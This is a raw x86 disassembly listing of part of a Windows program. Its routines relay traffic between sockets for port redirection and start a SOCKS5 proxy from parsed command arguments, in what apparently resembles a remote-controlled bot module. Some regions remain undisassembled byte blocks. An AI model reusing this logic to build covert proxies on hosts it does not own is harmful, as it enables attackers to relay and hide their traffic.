var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_436840
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42B70A
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42B598
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B598:				; CODE XREF: sub_42B540+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42B5F2
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B5F2:				; CODE XREF: sub_42B540+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, edi
		jnz	short loc_42B622
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B622:				; CODE XREF: sub_42B540+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_50FC50
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B70A
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B676:				; CODE XREF: sub_42B540+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6A0
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6A0:				; CODE XREF: sub_42B540+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B70A
		jge	short loc_42B6DB
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jnz	short loc_42B702


loc_42B6DB:				; CODE XREF: sub_42B540+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B676
		jmp	short loc_42B70A
; ---------------------------------------------------------------------------


loc_42B702:				; CODE XREF: sub_42B540+15Ej
					; sub_42B540+199j
		push	0Ah
		call	near ptr 2821EEEh
		nop


loc_42B70A:				; CODE XREF: sub_42B540+27j
					; sub_42B540+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_50FC88
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B71E
		push	eax
		call	edi	; closesocket


loc_42B71E:				; CODE XREF: sub_42B540+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42B72C
		push	esi
		call	edi	; closesocket


loc_42B72C:				; CODE XREF: sub_42B540+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42B540	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db  48h	; H
		db 0BCh	; ¼
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ¡
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ‰
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ‹
		db 0F1h	; ñ
		db  89h	; ‰
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; è
		db 0A0h	;  
		db  67h	; g
		db 0FDh	; ý
		db 0FFh
		db  68h	; h
		db  80h	; €
		db  3Dh	; =
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; Ç
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; Ç
		db    6
		db 0C0h	; À
		db 0E1h	; á
		db  43h	; C
		db    0
		db 0E8h	; è
		db 0DAh	; Ú
		db  5Dh	; ]
		db 0FDh	; ý
		db 0FFh
		db  8Bh	; ‹
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ‹
		db 0C6h	; Æ
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ‰
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  10h
		db 0C3h	; Ã
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B830:				; CODE XREF: ___:loc_4015F0j
					; ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401B8B
		test	byte ptr [esp+8], 1
		jz	short loc_42B848
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B848:				; CODE XREF: ___:0042B83Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B860	proc near		; CODE XREF: sub_401B8Bj
		jmp	sub_40179E
sub_42B860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B880	proc near		; CODE XREF: sub_4019E2j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B880
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42BAB8
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42B96B
		mov	edx, [esi+9Dh]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B96B:				; CODE XREF: sub_42B880+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42BA64


loc_42B97F:				; CODE XREF: sub_42B880+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42BA45
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42BA45
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42BA45
		push	0A9h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42B9E5
		mov	ecx, eax
		call	sub_401663
		mov	edi, eax


loc_42B9E5:				; CODE XREF: sub_42B880+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FBE
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013D4


loc_42BA45:				; CODE XREF: sub_42B880+111j
					; sub_42B880+133j ...
		push	0FAh
		call	near ptr 2821EEEh
		nop
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42B97F


loc_42BA64:				; CODE XREF: sub_42B880+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42BA76
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42BA76:				; CODE XREF: sub_42B880+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017E4
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h


loc_42BAB8:				; CODE XREF: sub_42B880+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B880	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42BB70	proc near		; CODE XREF: sub_4021DFj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42BB70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_42BB70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019B5
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_42BE60:				; CODE XREF: ___:loc_40202Cj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43BD84
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+84h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42BFC7
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 0E850FFFDh
		dd 777F000Ch, 4C48390h,	48244C8Dh, 893B4789h, 80249Ch
		dd 3E80000h, 68FFFD53h,	443600h, 4C244C8Dh, 8B51026Ah
		dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	52CCE800h, 68FFFDh, 8D004436h
		dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h
		dd 30000h, 65E80000h, 50FFFD58h, 7EFF93E8h, 0C4839077h
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD528Ah
		dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 0DE80000h
		db 54h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42BFC7:				; CODE XREF: ___:0042BE9Dj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C0F7
		push	9Dh
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 4
		jz	short loc_42C00E
		mov	ecx, eax
		call	sub_401889
		mov	edi, eax
		jmp	short loc_42C010
; ---------------------------------------------------------------------------


loc_42C00E:				; CODE XREF: ___:0042C001j
		xor	edi, edi


loc_42C010:				; CODE XREF: ___:0042C00Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+58h]
		mov	dword ptr [esp+84h], 5
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+6Dh]
		mov	dword ptr [esp+84h], 6
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+82h]
		mov	dword ptr [esp+84h], 7
		call	sub_401FBE
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C0F7:				; CODE XREF: ___:0042BFDAj
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C220
		push	0A2h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 8
		jz	short loc_42C13E
		mov	ecx, eax
		call	sub_4018DE
		mov	edi, eax
		jmp	short loc_42C140
; ---------------------------------------------------------------------------


loc_42C13E:				; CODE XREF: ___:0042C131j
		xor	edi, edi


loc_42C140:				; CODE XREF: ___:0042C13Cj
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 9
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	dword ptr [esp+84h], 0Ah
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+48h]
		mov	[esp+80h], ebx
		setz	byte ptr [esp+88h]
		call	sub_401226
		mov	al, [esp+88h]
		test	al, al
		jz	short loc_42C1EE
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42C1F5
; ---------------------------------------------------------------------------


loc_42C1EE:				; CODE XREF: ___:0042C1E3j
		mov	byte ptr [edi+9Dh], 0


loc_42C1F5:				; CODE XREF: ___:0042C1ECj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42C220:				; CODE XREF: ___:0042C10Aj
		lea	ecx, [ebp+8Eh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C2ED
		push	0A1h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+88h], eax
		test	eax, eax
		mov	dword ptr [esp+80h], 0Bh
		jz	short loc_42C26A
		mov	ecx, eax
		call	sub_40216C
		mov	edi, eax
		jmp	short loc_42C26C
; ---------------------------------------------------------------------------


loc_42C26A:				; CODE XREF: ___:0042C25Dj
		xor	edi, edi


loc_42C26C:				; CODE XREF: ___:0042C268j
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+8Ch], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+80h], 0Ch
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+48h]
		mov	[edi+3Bh], eax
		mov	[esp+80h], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C2ED:				; CODE XREF: ___:0042C236j
		lea	ecx, [ebp+0BCh]
		call	sub_4014D3
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+8Ch], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C519
		lea	ecx, [esp+30h]
		call	sub_401424
		lea	ecx, [esp+18h]
		mov	dword ptr [esp+80h], 0Dh
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+8Ch], 0Eh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 0Fh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+4Ch]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+80h], 10h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_401A87
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+30h]
		call	sub_4014D3
		cmp	eax, offset byte_446F70
		jnz	short loc_42C3CF
		push	offset aRoot	; "root"
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3CF:				; CODE XREF: ___:0042C3BFj
		lea	ecx, [esp+18h]
		call	sub_4014D3
		cmp	eax, offset byte_446F70
		jnz	short loc_42C3ED
		push	offset byte_446F70
		lea	ecx, [esp+1Ch]
		call	sub_401A87


loc_42C3ED:				; CODE XREF: ___:0042C3DDj
		push	offset asc_443600 ; " "
		lea	edx, [esp+4Ch]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 11h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+34h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		mov	edi, dword_50FB08
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esi+69h]
		push	eax
		push	offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	eax
		call	sub_401861
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+98h], 12h
		call	sub_4017E4
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+44h], esp
		push	eax
		call	sub_401861
		push	offset asc_443600 ; " "
		lea	edx, [esp+94h]
		push	1
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0BCh], 13h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+0B0h], 15h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		push	eax
		call	sub_401C17
		add	esp, 34h
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+80h], 0Eh
		call	sub_401226
		lea	ecx, [esp+18h]
		mov	byte ptr [esp+80h], 0Dh
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	[esp+80h], ebx
		call	sub_401226
		mov	edi, [esp+88h]


loc_42C519:				; CODE XREF: ___:0042C30Cj
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42C536
		mov	[ebp+11Ch], al


loc_42C536:				; CODE XREF: ___:0042C52Ej
		mov	ecx, [esp+78h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 74h
		retn	4
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 1C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C710	proc near		; CODE XREF: sub_4021A8j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_447A8D
		push	esi
		mov	esi, ecx
		mov	eax, [esi+99h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_42C731
		inc	ecx
		mov	[eax+118h], ecx


loc_42C731:				; CODE XREF: sub_42C710+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+99h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6EDB
		call	sub_40120D
sub_42C710	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42C790	proc near		; CODE XREF: sub_401E06j

var_190		= byte ptr -190h

		sub	esp, 190h
		lea	eax, [esp+190h+var_190]
		push	eax
		push	101h
		call	sub_436F4E
sub_42C790	endp

; ---------------------------------------------------------------------------
		db 85h,	0C0h, 74h
		dd 840D8B19h, 500050FAh, 6840C183h, 445414h, 4655E851h
		dd 83907781h, 0C4810CC4h, 190h,	909090C3h, 90909090h, 4	dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42C7E0:				; CODE XREF: ___:00401D7Aj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42C7F3
		mov	ecx, [eax+18h]
		test	ecx, ecx
		jnz	short loc_42C7F3
		add	eax, 44h
		retn
; ---------------------------------------------------------------------------


loc_42C7F3:				; CODE XREF: ___:0042C7E6j
					; ___:0042C7EDj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
